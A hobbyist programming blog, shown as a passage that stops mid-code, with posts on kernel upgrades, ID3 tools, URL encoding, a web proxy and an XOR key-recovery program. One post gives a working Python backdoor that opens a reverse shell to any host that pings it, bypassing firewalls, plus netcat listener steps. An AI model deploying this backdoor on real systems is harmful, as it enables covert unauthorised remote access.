Information wants to be free...

Easy Kernel Upgrade

Here are the steps needed to compile a new Linux kernel (2.6.x or 3.x) on recent Slackware versions, based on the configuration of the old (running) kernel. Assuming a new kernel has been downloaded and unpacked into /usr/src, proceed like this:

# Become the super user:
su

# Move into the standard source(s) location:
cd /usr/src

# Remove old symlink:
rm linux

# Create new symlink:
# (Replace X.X.XX with whatever was downloaded.)
ln -s linux-X.X.XX linux

# Move into new kernel:
cd linux

# Copy old kernel configuration from running kernel:
cat /proc/config.gz | gunzip > .config

# Use old .config to make a new one:
# (Just press enter on all the questions to use defaults.)
make oldconfig

# Compile the kernel:
make

# Compile the modules:
make modules

# Install the modules:
# (Will be placed under /lib/modules/X.X.XX/)
make modules_install

# Install the kernel:
# (Everything is done automatically, including update of LILO!)
make install

# Reboot to load the new kernel:
reboot
          


Topic: Configuration, by Kjetil @ 26/12-2012, Article Link

Cracker for XOR-Encrypted Binary Files

There is weakness that may appear when XOR-encrypting binary files. Many kinds of binary files contains lots of NULL-characters, meaning the encryption key will inadvertently be revealed at these locations, due to the nature of the XOR operation.

I hacked together a small program that uses Markov chains to look for repeats in printable characters. The result of the program is a string that may contain the encryption key, if the key is susceptible to this kind of "attack".

Take a look at the code:

#include <stdio.h>
#include <stdlib.h>

#define FILTER_FROM 0x20
#define FILTER_TO 0x7e
#define RANGE ((FILTER_TO - FILTER_FROM) + 1)

/* For tuning. */
#define PASS_LIMIT 64
#define DIVIDE 1.1

typedef struct markov_s {
  int count;
  char current;
  char next;
} markov_t;

static markov_t chains[RANGE * RANGE];

static int markov_cmp(const void *p1, const void *p2)
{
  if (((markov_t *)p1)->count < ((markov_t *)p2)->count)
    return 1;
  else if (((markov_t *)p1)->count > ((markov_t *)p2)->count)
    return -1;
  else
    return 0;
}

static char markov_next(markov_t *chain, char current)
{
  int i;

  for (i = 0; i < (RANGE * RANGE); i++) {
    if (chain[i].current == current) {
      chain[i].count /= DIVIDE; /* Divide possibilty. */
      return chain[i].next;
    }
  }
  
  return -1;
}

int main(void)
{
  int current, next, limit;

  for (current = FILTER_FROM; current <= FILTER_TO; current++) {
    for (next = FILTER_FROM; next <= FILTER_TO; next++) {
      chains[((current - 0x20) * RANGE) + (next - 0x20)].count = 0;
      chains[((current - 0x20) * RANGE) + (next - 0x20)].current = current;
      chains[((current - 0x20) * RANGE) + (next - 0x20)].next = next;
    }
  }

  while ((current = fgetc(stdin)) != EOF) {
    if (current >= 0x20 && current <= 0x7e)
      break;
  }
  if (current == EOF)
    return 1;

  while ((next = fgetc(stdin)) != EOF) {
    if (next >= 0x20 && next <= 0x7e) {
      chains[((current - 0x20) * RANGE) + (next - 0x20)].count++;
      current = next;
    }
  }

  qsort(chains, RANGE * RANGE, sizeof(markov_t), markov_cmp);

  current = chains[0].current;
  for (limit = 0; limit < PASS_LIMIT; limit++) {
    printf("%c", current);
    current = markov_next(chains, current);
    /* Sort again after division. */
    qsort(chains, RANGE * RANGE, sizeof(markov_t), markov_cmp);
    if (current == -1)
      break;
  }
  printf("\n");

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 01/12-2012, Article Link

ID3 Tools

For some reason, it's not that easy to find command line programs that deal with ID3 tags (as used in MP3 files) on Linux anymore. There are some updated libraries, but most of the programs I found were somewhat outdated. Because of this, I found the ID3 specifications and wrote a couple of tools my self. The first tool just checks for tag presence in a file, while the second one strips all tags. There are actually three kinds of tags to look for; ID3v1, ID3v2 and the strange MusicMatch tag.

Here's the tag detector:

#include <stdio.h>
#include <string.h>

static int has_id3v1(FILE *fh)
{
  unsigned char tag[3];

  if (fseek(fh, -128, SEEK_END) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 3, fh);

  if (tag[0] == 'T' && tag[1] == 'A' && tag[2] == 'G')
    return 1;
  else
    return 0;
}

static int has_id3v2(FILE *fh)
{
  unsigned char tag[10];

  if (fseek(fh, 0, SEEK_SET) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 10, fh);

  if (tag[0] == 'I' &&
      tag[1] == 'D' &&
      tag[2] == '3' &&
      tag[3] < 0xFF &&
      tag[4] < 0xFF &&
      tag[6] < 0x80 &&
      tag[7] < 0x80 &&
      tag[8] < 0x80 &&
      tag[9] < 0x80) {
    return 1;
  }

  return 0;
}

static int has_musicmatch(FILE *fh)
{
  char tag[19];

  if (fseek(fh, -48, SEEK_END) == -1)
    return 0;

  fread(tag, sizeof(char), 19, fh);

  if (memcmp(tag, "Brava Software Inc.", 19) == 0)
    return 1;
  else
    return 0;
}

int main(int argc, char *argv[])
{
  FILE *fh;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <mp3-file>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "r");
  if (fh == NULL)
    return 1;

  printf("%s:%s%s%s\n", argv[1], 
    (has_id3v1(fh)) ? " id3v1" : "",
    (has_id3v2(fh)) ? " id3v2" : "",
    (has_musicmatch(fh)) ? " musicmatch" : "");

  fclose(fh);
  return 0;
}
          


Here's the tag stripper:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define BUFFER_SIZE 512

static int has_id3v1(FILE *fh)
{
  unsigned char tag[3];

  if (fseek(fh, -128, SEEK_END) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 3, fh);

  if (tag[0] == 'T' && tag[1] == 'A' && tag[2] == 'G')
    return 1;
  else
    return 0;
}

static int has_id3v2(FILE *fh)
{
  unsigned char tag[10];

  if (fseek(fh, 0, SEEK_SET) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 10, fh);

  if (tag[0] == 'I' &&
      tag[1] == 'D' &&
      tag[2] == '3' &&
      tag[3] < 0xFF &&
      tag[4] < 0xFF &&
      tag[6] < 0x80 &&
      tag[7] < 0x80 &&
      tag[8] < 0x80 &&
      tag[9] < 0x80) {
    return tag[9] + (tag[8] << 7) + (tag[7] << 14) + (tag[6] << 21) + 10;
  }

  return 0;
}

int main(int argc, char *argv[])
{
  FILE *in, *out;
  int start, remaining, bytes;
  struct stat st;
  char buffer[BUFFER_SIZE];

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <in> <out>\n", argv[0]);
    return 1;
  }

  if (stat(argv[1], &st) == -1) {
    fprintf(stderr, "Error: Could not stat file: %s\n", argv[1]);
    return 1;
  }

  in = fopen(argv[1], "r");
  if (in == NULL) {
    fprintf(stderr, "Error: Could not open file for reading: %s\n", argv[1]);
    return 1;
  }

  out = fopen(argv[2], "w");
  if (out == NULL) {
    fprintf(stderr, "Error: Could not open file for writing: %s\n", argv[2]);
    fclose(in);
    return 1;
  }

  if (has_id3v1(in))
    remaining = st.st_size - 128;
  else 
    remaining = st.st_size;

  start = has_id3v2(in);
  remaining -= start;
  fseek(in, start, SEEK_SET);

  while (remaining > 0) {
    bytes = fread(buffer, sizeof(char), 
      (remaining > BUFFER_SIZE) ? BUFFER_SIZE : remaining, in);
    fwrite(buffer, sizeof(char), bytes, out);
    remaining -= bytes;
  }

  fclose(in);
  fclose(out);
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 06/11-2012, Article Link

URL Decoder and Encoder

Here are some simple C-based filter programs to decode and encode URL-encoded hex characters.

The "decoder", detects and decodes any URL-encoded characters in the stream:

#include <stdio.h>

static int from_hex(char c)
{
  switch (c) {
  case '0':
  case '1':
  case '2':
  case '3':
  case '4':
  case '5':
  case '6':
  case '7':
  case '8':
  case '9':
    return c - 0x30;
  case 'A':
  case 'B':
  case 'C':
  case 'D':
  case 'E':
  case 'F':
    return c - 55;
  case 'a':
  case 'b':
  case 'c':
  case 'd':
  case 'e':
  case 'f':
    return c - 87;
  }
  return 0;
}

int main(void)
{
  int c, in_code, first_hex;

  in_code = 0;
  while ((c = fgetc(stdin)) != EOF) {
    if (in_code == 1) {
      first_hex = from_hex(c);
      in_code++;
    } else if (in_code == 2) {
      fputc(from_hex(c) + (first_hex * 16), stdout);
      in_code = 0;
    } else {
      if (c == '%') {
        in_code = 1;
      } else {
        fputc(c, stdout);
      }
    }
  }

  return 0;
}
          


The "encoder", simply encodes every character into the URL-encoded counter-part:

#include <stdio.h>

static char to_hex(int n)
{
  switch (n) {
  case 0:
  case 1:
  case 2:
  case 3:
  case 4:
  case 5:
  case 6:
  case 7:
  case 8:
  case 9:
    return n + 0x30;
  case 10:
  case 11:
  case 12:
  case 13:
  case 14:
  case 15:
    return n + 55;
  }
  return '?';
}

int main(void)
{
  int c;

  while ((c = fgetc(stdin)) != EOF) {
    fputc('%', stdout);
    fputc(to_hex(c / 16), stdout);
    fputc(to_hex(c % 16), stdout);
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 27/10-2012, Article Link

SGI Indigo2 Network Boot

I have gotten hold of an old Silicon Graphics Indigo2, a beautiful piece of machinery. While attempting to recover the root password, the harddisk failed. But by some extreme luck, I managed to create a copy of the root filesystem before this happened. By using an SGI manual and lots of trial and error, I finally managed to boot IRIX and run the entire thing over the network from some Linux boxes. I have written down everything required to configure this in a LaTeX typesetted PDF document here.

Here's a photo of the desktop of IRIX 5.3, the UNIX used by SGI:

SGI Indigo2 Desktop Photo.


And in case you are wondering, here is a dump of the "hinv" command, showing the hardware specs:

Iris Audio Processor: version A2 revision 1.1.0
1 200 MHZ IP22 Processor
FPU: MIPS R4010 Floating Point Chip Revision: 0.0
CPU: MIPS R4400 Processor Chip Revision: 6.0
On-board serial ports: 2
On-board bi-directional parallel port
Data cache size: 16 Kbytes
Instruction cache size: 16 Kbytes
Secondary unified instruction/data cache size: 1 Mbyte
Main memory size: 192 Mbytes
EISA bus: adapter 0
Integral Ethernet: ec0, version 1
Integral SCSI controller 1: Version WD33C93B, revision D
Integral SCSI controller 0: Version WD33C93B, revision D
Disk drive / removable media: unit 2 on SCSI controller 0
Graphics board: GU1-Extreme
          


Topic: Configuration, by Kjetil @ 08/09-2012, Article Link

Reverse Shell with ICMP Trigger

Here is a nifty way to spawn a reverse shell that I have been thinking about for a while. Basically, this script attempts to open a shell to a remote client if it receives an ICMP (ping) package from it. This can be used to bypass firewalls that drop all inbound TCP connections, but let ICMP packages through.

Take a look:

#!/usr/bin/python

import socket
import struct
import os

def exec_shell(sock):
    os.setgroups([])
    os.setgid(99) # Nogroup
    os.setuid(99) # Nobody
    os.dup2(sock.fileno(), 0)
    os.dup2(sock.fileno(), 1)
    os.dup2(sock.fileno(), 2)
    os.execve("/bin/sh", ["/bin/sh", "-i"], {})

def icmp_listen(connect_port):
    icmp_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, \
        socket.getprotobyname("icmp"))
    icmp_sock.bind(('', 1))

    while True:
        packet = icmp_sock.recv(1024)
        header = struct.unpack("!LLL4s4sBBHHH", packet[:28])
        data = packet[28:]

        print "Connecting to", socket.inet_ntoa(header[3]),
        try:
            shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            shell_sock.connect((socket.inet_ntoa(header[3]), connect_port))
            print "OK!"
        except Exception, e:
            print "Failed:", e
            continue

        pid = os.fork()
        if (pid == 0):
            os.setsid()
            pid = os.fork()
            if (pid == 0):
                exec_shell(shell_sock)
            else:
                os._exit(0)

if __name__ == "__main__":
    icmp_listen(1337)
          


To use it, execute this script as root on the target host that will supply the shell. Then, on a remote client machine, use netcat to open a listening TCP port like so: "nc -l -p 1337". Finally, from the same remote client, ping the target host.

Topic: Scripts and Code, by Kjetil @ 01/09-2012, Article Link

Crazy Eights

Here is a Python implementation of the card game commonly known as Crazy Eights, using the SDL-based pygame framework. I have designed it around a client-server model using a custom UDP-based network protocol, to be able to support multiplayer. It's possible to play in singleplayer, but the server still needs to be started, and the client simply connects to localhost. The game is always played with four players, and the remaining positions will be filled by bots.

The rules of the game are of the simplest variant. A player who puts an eight on the table does not get to decide the next suit, meaning the eight only acts as a universal (always allowed) card.

The source code is released under a MIT license and can be downloaded here.

Here's a screenshot:

Crazy Eights screenshot


Topic: Open Source, by Kjetil @ 04/08-2012, Article Link

Process Dispatcher

This is a script I hacked together in Python to be able to run several processes in parallel easily. You specify a program to run as the argument to the script itself, then the script presents a shell where you can input a "real" argument for the program previously specified. Once an argument has been entered on the shell, a sub process is started in the background, and the shell is immediately ready for a new argument. A practical usage of this is to download several files in parallel with "wget". Simply start the script with wget as the argument and enter URLs on the shell to download them. A counter in the shell prompt is used to keep track of how many sub processes are ongoing.

Enjoy:

#!/usr/bin/python

import threading
import subprocess

class Dispatcher(object):
    def __init__(self, command):
        self.command = command

    class _Executor(threading.Thread):
        def __init__(self, command, arg):
            threading.Thread.__init__(self)
            self.command = command
            self.arg = arg

        def run(self):
            null = open("/dev/null")
            subprocess.call([self.command, self.arg], stdout=null, stderr=null)
            null.close()

    def run(self):
        while True:
            arg = raw_input(str(threading.active_count() - 1) + ">")
            if arg == 'quit':
                break
            if len(arg) > 0:
                thread = self._Executor(self.command, arg)
                thread.start()
            else:
                for thread in threading.enumerate():
                    if thread.name != "MainThread":
                        print thread.arg

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        d = Dispatcher(sys.argv[1])
        d.run()
        sys.exit(0)
    else:
        print "Usage: %s <executable command>" % (sys.argv[0])
        sys.exit(1)
          


Topic: Scripts and Code, by Kjetil @ 01/07-2012, Article Link

Simple Expression Parsing

I have been researching for other ways to parse expressions without the use of Abstract Syntax Trees (AST) or complex parser generators. In turn, also without the use of dynamic memory. I figured out a way to use an array with tokens to represent the complete expression. And then in order to reach the result, reduce token by token, until only the result itself remains.

Below is a simple calculator program that uses this technique. It supports parenthesis and the basic operators '*', '/', '+' and '-'. The code can also be easily embedded into other programs that require simple parsing of this kind.

Check out the code:

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

#define EXPRESSION_MAX 32

typedef enum {
  TOKEN_NONE    = 0,
  TOKEN_MUL     = 1,
  TOKEN_DIV     = 2,
  TOKEN_ADD     = 3,
  TOKEN_SUB     = 4,
  TOKEN_INT     = 5,
  TOKEN_L_PAREN = 6,
  TOKEN_R_PAREN = 7,
} token_t;

typedef struct element_s {
  token_t token;
  int value;
} element_t;

static int exp_evaluate(element_t *exp, int from, int to)
{
  int i, j, left_paren, prev_val, next_val;

  /* Reduce parenthesis first... */
exp_evaluate_again:
  left_paren = -1;
  for (i = from; i <= to; i++) {
    if (exp[i].token == TOKEN_L_PAREN) {
      left_paren = i;
    } else if (exp[i].token == TOKEN_R_PAREN) {
      if (left_paren >= 0) {
        exp[left_paren].value = exp_evaluate(exp, left_paren + 1, i - 1);
        exp[left_paren].token = TOKEN_INT;
        for (j = left_paren + 1; j <= i; j++)
          exp[j].token = TOKEN_NONE;
        goto exp_evaluate_again;
      } else {
        fprintf(stderr, "Warning: Unmatched '('.\n");
      }
    }
  }

  /* ...then reduce the operators. */
  for (i = TOKEN_MUL; i <= TOKEN_SUB; i++) {
    for (j = from; j <= to; j++) {
      if (exp[j].token == i) {

        prev_val = j - 1;
        if (prev_val < from) {
          fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
          return 0;
        }
        while (exp[prev_val].token != TOKEN_INT) {
          prev_val--;
          if (prev_val < from) {
            fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
            return 0;
          }
        }

        next_val = j + 1;
        if (next_val > to) {
          fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
          return 0;
        }
        while (exp[next_val].token != TOKEN_INT) {
          next_val++;
          if (next_val > to) {
            fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
            return 0;
          }
        }

        if (i == TOKEN_MUL) {
          exp[prev_val].value *= exp[next_val].value;
        } else if (i == TOKEN_DIV) {
          if (exp[next_val].value == 0)
            exp[prev_val].value = 0; /* Division by zero. */
          else
            exp[prev_val].value /= exp[next_val].value;
        } else if (i == TOKEN_ADD) {
          exp[prev_val].value += exp[next_val].value;
        } else if (i == TOKEN_SUB) {
          exp[prev_val].value -= exp[next_val].value;
        }

        exp[prev_val].token = TOKEN_INT;
        exp[j].token        = TOKEN_NONE;
        exp[next_val].token = TOKEN_NONE;
      }
    }
  }

  return exp[from].value;
}

static int string_evaluate(const char *s)
{
  int i, n, current;
  char intbuf[8];
  element_t exp[EXPRESSION_MAX];

  for (i = 0; i < EXPRESSION_MAX; i++)
    exp[i].token = TOKEN_NONE;

  current = 0;
  for (i = 0; s[i] != '\0'; i++) {
    if (isdigit(s[i])) {
      n = 0;
      intbuf[n++] = s[i];
      while (isdigit(s[i + 1])) {
        intbuf[n++] = s[++i];
        if (n >= 8) {
          fprintf(stderr, "Warning: Number too long.\n");
          break;
        }
      }
      intbuf[n] = '\0';
      exp[current].value = atoi(intbuf);
      exp[current++].token = TOKEN_INT;
    } else if (s[i] == '(') {
      exp[current++].token = TOKEN_L_PAREN;
    } else if (s[i] == ')') {
      exp[current++].token = TOKEN_R_PAREN;
    } else if (s[i] == '*') {
      exp[current++].token = TOKEN_MUL;
    } else if (s[i] == '/') {
      exp[current++].token = TOKEN_DIV;
    } else if (s[i] == '+') {
      exp[current++].token = TOKEN_ADD;
    } else if (s[i] == '-') {
      exp[current++].token = TOKEN_SUB;
    }

    if (current >= EXPRESSION_MAX) {
      fprintf(stderr, "Warning: Maximum expressions reached.\n");
      break;
    }
  }

  return exp_evaluate(exp, 0, EXPRESSION_MAX - 1);
}

int main(int argc, char *argv[])
{
  if (argc != 2) {
    fprintf(stderr, "Usage: %s <expression>\n", argv[0]);
    return 1;
  }

  printf("%d\n", string_evaluate(argv[1]));
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 10/06-2012, Article Link

Python Web Proxy

Here is another simple proxy server written in Python, this time a regular web proxy. I tried to make it as simple as possible; using only common Python modules. This means it connects directly to a socket instead of using the more sophisticated HTTP modules and so on.

It works on most pages, but there are some "bugs" on some pages. Most notably, I have seen that the CSS stylesheets are not always transferred, meaning the layout will look strange. I have not tested it against any "rich" web-pages using AJAX and the like, so I have no idea how that will work. HTTPS does not work, since it relies on some more advanced mechanisms in the proxy, and support for the "CONNECT" request, which is not present here.

Then again, this is meant as an emergency solution and/or a way to observe the basic requirements of a web proxy server.

Enjoy:

#!/usr/bin/python

from threading import Thread
import socket
import re
import urlparse
import time

class ClientConnection(Thread):
    def __init__(self, client_socket):
        Thread.__init__(self)
        self.client_socket = client_socket

    def _extract_host(self, data):
        match = re.match("^(?:GET|POST|HEAD) (.*?) (HTTP\/[.0-9]*)", data)
        if match:
            url = urlparse.urlparse(match.group(1))
            # NOTE: Alternate port numbers not handled.
            return url.netloc
        else:
            return None

    def _try_recv(self, sock):
        try:
            return sock.recv(4096, socket.MSG_DONTWAIT)
        except:
            return None

    def run(self):
        try:
            data = self.client_socket.recv(4096)
        except:
            self.client_socket.close()
            return

        if len(data) == 0:
            self.client_socket.close()
            return

        host = self._extract_host(data)
        port = 80
        if host == None:
            self.client_socket.close()
            return

        # A hack, but it works.
        data = data.replace("HTTP/1.1", "HTTP/1.1\r\nConnection: close")

        print "Open: %s" % (host)
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.connect((host, port))
        self.server_socket.sendall(data)

        timeout = 0
        while True:
            data = self._try_recv(self.server_socket)
            if data != None:
                try:
                    self.client_socket.sendall(data)
                except:
                    break

            data = self._try_recv(self.client_socket)
            if data != None:
                try:
                    self.server_socket.sendall(data)
                except:
                    break

            if (timeout > 200):
                break
            time.sleep(0.1)
            timeout += 1

        print "Close: %s" % (host)
        self.server_socket.close()
        self.client_socket.close()

class ProxyServer(object):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind(('', port))
        self.sock.listen(64)

    def loop(self):
        while True:
            (client_socket, client_address) = self.sock.accept()
            connection = ClientConnection(client_socket)
            connection.start()

if __name__ == "__main__":
    ps = ProxyServer(8080)
    ps.loop()
          


Topic: Scripts and Code, by Kjetil @ 28/05-2012, Article Link

Easy File Selection

Here is a trick to let you easily select a file "graphically" for a console based application, when launched from a menu in a window manager. It uses Python and two modules that are delivered with the standard distribution.

The following example launches the "mplayer" media player with a selected file:

#!/usr/bin/python

import subprocess
import tkFileDialog

file = tkFileDialog.askopenfilename()
if len(file) > 0:
    subprocess.call(["mplayer", file])
          


Instead of launching the application directly, create a script like this and point the menu entry towards that instead.

Topic: Configuration, by Kjetil @ 04/04-2012, Article Link

Boot Record Dump

Here is a tool I wrote to dump information from boot records, the information normally stored in the first sector (boot sector) on a disk or partition. It attempts to automatically figure out if the record is a Master Boot Record (MBR) or a Volume Boot Record (VBR).

The boot record (file) can be extracted with the Unix "dd" tool, like so: 'dd bs=512 count=1 if=/dev/hda of=/tmp/br.dd'.

Here's an example of the information dumped from a MBR:

Master Boot Record (MBR)
------------------------
Serial: DCA41F6C
Partition Table:
 Boot Type   First LBA   First C:H:S    Last C:H:S    Size
   *  0x04   0x0000003f  0000:001:01 -> 0002:254:63  (23 MB)
      0x05   0x0000bc43  0003:000:01 -> 0123:254:63  (949 MB)
      0x00   0x00000000  0000:000:00 -> 0000:000:00  ---
      0x00   0x00000000  0000:000:00 -> 0000:000:00  ---
Code:
0x0000:  fa 33 c0 8e d0 bc 00 7c 8b f4 50 07 50 1f fb fc  |.3.....|..P.P...|
0x0010:  bf 00 06 b9 00 01 f2 a5 ea 1d 06 00 00 be be 07  |................|
0x0020:  b3 04 80 3c 80 74 0e 80 3c 00 75 1c 83 c6 10 fe  |...<.t..<.u.....|
0x0030:  cb 75 ef cd 18 8b 14 8b 4c 02 8b ee 83 c6 10 fe  |.u......L.......|
0x0040:  cb 74 1a 80 3c 00 74 f4 be 8b 06 ac 3c 00 74 0b  |.t..<.t.....<.t.|
0x0050:  56 bb 07 00 b4 0e cd 10 5e eb f0 eb fe bf 05 00  |V.......^.......|
0x0060:  bb 00 7c b8 01 02 57 cd 13 5f 73 0c 33 c0 cd 13  |..|...W.._s.3...|
0x0070:  4f 75 ed be a3 06 eb d3 be c2 06 bf fe 7d 81 3d  |Ou...........}.=|
0x0080:  55 aa 75 c7 8b f5 ea 00 7c 00 00 49 6e 76 61 6c  |U.u.....|..Inval|
0x0090:  69 64 20 70 61 72 74 69 74 69 6f 6e 20 74 61 62  |id partition tab|
0x00a0:  6c 65 00 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67  |le.Error loading|
0x00b0:  20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65  | operating syste|
0x00c0:  6d 00 4d 69 73 73 69 6e 67 20 6f 70 65 72 61 74  |m.Missing operat|
0x00d0:  69 6e 67 20 73 79 73 74 65 6d 00 00 00 00 00 00  |ing system......|
0x00e0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x00f0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0100:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0110:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0120:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0130:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0140:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0150:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0160:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0170:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0180:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0190:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x01a0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x01b0:  00 00 00 00 00 00 00 00                          |................|
          


Here's an example of the information dumped from a VBR:

Volume Boot Record (VBR)
------------------------
Jump Code            : 0xeb 0x3c 0x90 (jmp short 0x3E)
OEM ID               : 'MSWIN4.1'
Volume Label         : 'USER       '
System ID            : 'FAT16   '
Bytes per Sector     : 512
Sectors per Cluster  : 64
Sectors per FAT      : 242
Sectors per Track    : 63
No of FATs           : 2
Reserved Sectors     : 1
Hidden Sectors       : 63
Small Sectors        : 0
Large Sectors        : 3951237
Root Entries         : 512
Heads                : 64
Current Head         : 0
Media Descriptor     : 0xF8 (Fixed Disk)
Physical Drive Number: 0x80
Signature            : 0x29
ID                   : E5165E0B
Boot Code:
0x0030:                                            33 c9  |..............3.|
0x0040:  8e d1 bc fc 7b 16 07 bd 78 00 c5 76 00 1e 56 16  |....{...x..v..V.|
0x0050:  55 bf 22 05 89 7e 00 89 4e 02 b1 0b fc f3 a4 06  |U."..~..N.......|
0x0060:  1f bd 00 7c c6 45 fe 0f 38 4e 24 7d 20 8b c1 99  |...|.E..8N$} ...|
0x0070:  e8 7e 01 83 eb 3a 66 a1 1c 7c 66 3b 07 8a 57 fc  |.~...:f..|f;..W.|
0x0080:  75 06 80 ca 02 88 56 02 80 c3 10 73 ed 33 c9 fe  |u.....V....s.3..|
0x0090:  06 d8 7d 8a 46 10 98 f7 66 16 03 46 1c 13 56 1e  |..}.F...f..F..V.|
0x00a0:  03 46 0e 13 d1 8b 76 11 60 89 46 fc 89 56 fe b8  |.F....v.`.F..V..|
0x00b0:  20 00 f7 e6 8b 5e 0b 03 c3 48 f7 f3 01 46 fc 11  | ....^...H...F..|
0x00c0:  4e fe 61 bf 00 07 e8 28 01 72 3e 38 2d 74 17 60  |N.a....(.r>8-t.`|
0x00d0:  b1 0b be d8 7d f3 a6 61 74 3d 4e 74 09 83 c7 20  |....}..at=Nt... |
0x00e0:  3b fb 72 e7 eb dd fe 0e d8 7d 7b a7 be 7f 7d ac  |;.r......}{...}.|
0x00f0:  98 03 f0 ac 98 40 74 0c 48 74 13 b4 0e bb 07 00  |.....@t.Ht......|
0x0100:  cd 10 eb ef be 82 7d eb e6 be 80 7d eb e1 cd 16  |......}....}....|
0x0110:  5e 1f 66 8f 04 cd 19 be 81 7d 8b 7d 1a 8d 45 fe  |^.f......}.}..E.|
0x0120:  8a 4e 0d f7 e1 03 46 fc 13 56 fe b1 04 e8 c2 00  |.N....F..V......|
0x0130:  72 d7 ea 00 02 70 00 52 50 06 53 6a 01 6a 10 91  |r....p.RP.Sj.j..|
0x0140:  8b 46 18 a2 26 05 96 92 33 d2 f7 f6 91 f7 f6 42  |.F..&...3......B|
0x0150:  87 ca f7 76 1a 8a f2 8a e8 c0 cc 02 0a cc b8 01  |...v............|
0x0160:  02 80 7e 02 0e 75 04 b4 42 8b f4 8a 56 24 cd 13  |..~..u..B...V$..|
0x0170:  61 61 72 0a 40 75 01 42 03 5e 0b 49 75 77 c3 03  |aar.@u.B.^.Iuw..|
0x0180:  18 01 27 0d 0a 49 6e 76 61 6c 69 64 20 73 79 73  |..'..Invalid sys|
0x0190:  74 65 6d 20 64 69 73 6b ff 0d 0a 44 69 73 6b 20  |tem disk...Disk |
0x01a0:  49 2f 4f 20 65 72 72 6f 72 ff 0d 0a 52 65 70 6c  |I/O error...Repl|
0x01b0:  61 63 65 20 74 68 65 20 64 69 73 6b 2c 20 61 6e  |ace the disk, an|
0x01c0:  64 20 74 68 65 6e 20 70 72 65 73 73 20 61 6e 79  |d then press any|
0x01d0:  20 6b 65 79 0d 0a 00 00 49 4f 20 20 20 20 20 20  | key....IO      |
0x01e0:  53 59 53 4d 53 44 4f 53 20 20 20 53 59 53 7f 01  |SYSMSDOS   SYS..|
0x01f0:  00 41 bb 00 07 60 66 6a 00 e9 3b ff 00 00        |.A...`fj..;.....|
          


Here's the code:

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <arpa/inet.h>

typedef struct partition_record_s {
  uint8_t bootable;
  uint8_t start_head;
  uint8_t start_cs_1;
  uint8_t start_cs_2;
  uint8_t type;
  uint8_t end_head;
  uint8_t end_cs_1;
  uint8_t end_cs_2;
  uint32_t start_lba;
  uint32_t no_of_sectors;
} partition_record_t;

#pragma pack(1)
typedef struct mbr_s {
  uint8_t code[440];
  uint32_t disk_signature;
  uint16_t reserved;
  partition_record_t partition[4];
  uint16_t boot_record_signature;
} mbr_t;
#pragma pack()

#pragma pack(1)
typedef struct vbr_s {
  uint8_t jump_code[3];
  char oem_id[8];
  uint16_t bytes_per_sector;
  uint8_t sectors_per_cluster;
  uint16_t reserved_sectors;
  uint8_t no_of_fats;
  uint16_t root_entries;
  uint16_t small_sectors;
  uint8_t media_descriptor;
  uint16_t sectors_per_fat;
  uint16_t sectors_per_track;
  uint16_t heads;
  uint32_t hidden_sectors;
  uint32_t large_sectors;
  uint8_t physical_drive_number;
  uint8_t current_head;
  uint8_t signature;
  uint32_t id;
  char volume_label[11];
  char system_id[8];
  uint8_t boot_code[448];
  uint16_t boot_record_signature;
} vbr_t;
#pragma pack()

static void print_string(char *s, int len)
{
  int i;
  for (i = 0; i < len; i++) {
    if (isprint(s[i]))
      fputc(s[i], stdout);
    else
      fputc('.', stdout);
  }
}

static void print_hex(uint8_t *data, int len, int offset_start)
{
  int i, col, row;
  char buffer[16];

  row = offset_start / 16;
  col = offset_start % 16;

  printf("0x%04x:  ", row * 0x10);
  i = 0;
  while (col-- > 0) {
    printf("   ");
    buffer[i++] = 0x0;
  }

  col = offset_start % 16;
  for (i = 0; i < len; i++) {
    printf("%02x ", data[i]);
    buffer[col] = data[i];
    col++;
    if (col == 16) {
      row++;
      col = 0;
      printf(" |");
      print_string(buffer, 16);
      printf("|\n");
      printf("0x%04x:  ", row * 0x10);
    }
  }

  for (i = col; i < 16; i++) {
    printf("   ");
    buffer[i] = 0x0;
  }
  printf(" |");

  if (col > 0) {
    print_string(buffer, 16);
    printf("|\n");
  } else {
    printf("\n");
  }
}

static void dump_mbr(mbr_t *mbr)
{
  int i;
  int start_cylinder, start_sector, end_cylinder, end_sector;

